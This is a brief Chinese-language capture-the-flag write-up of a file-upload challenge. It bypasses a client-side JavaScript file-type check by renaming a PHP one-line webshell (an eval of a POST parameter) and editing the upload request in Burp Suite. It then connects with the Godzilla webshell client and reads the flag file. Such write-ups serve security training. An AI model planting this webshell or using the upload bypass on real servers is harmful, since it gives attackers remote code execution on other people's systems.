题目描述

暂无

Solution

打开页面,这是一个文件上传的功能:

1.png

我们试一试能不能直接上一句话木马:

2.png

我们发现题目在前端用 JavaScript 代码校验了文件类型:

3.png

这里我们可以试一试文件名修改绕过,编写一句话木马,把它命名为:shell.png

  1. <?php @eval($_POST['banana']);

然后 Burpsuite 截取请求,转发给 Repeater,修改 POST 数据的文件名:

4.png

使用哥斯拉连接 WebShell:

5.png

然后我们在/var/www/html/下找到 Flag 文件:

6.png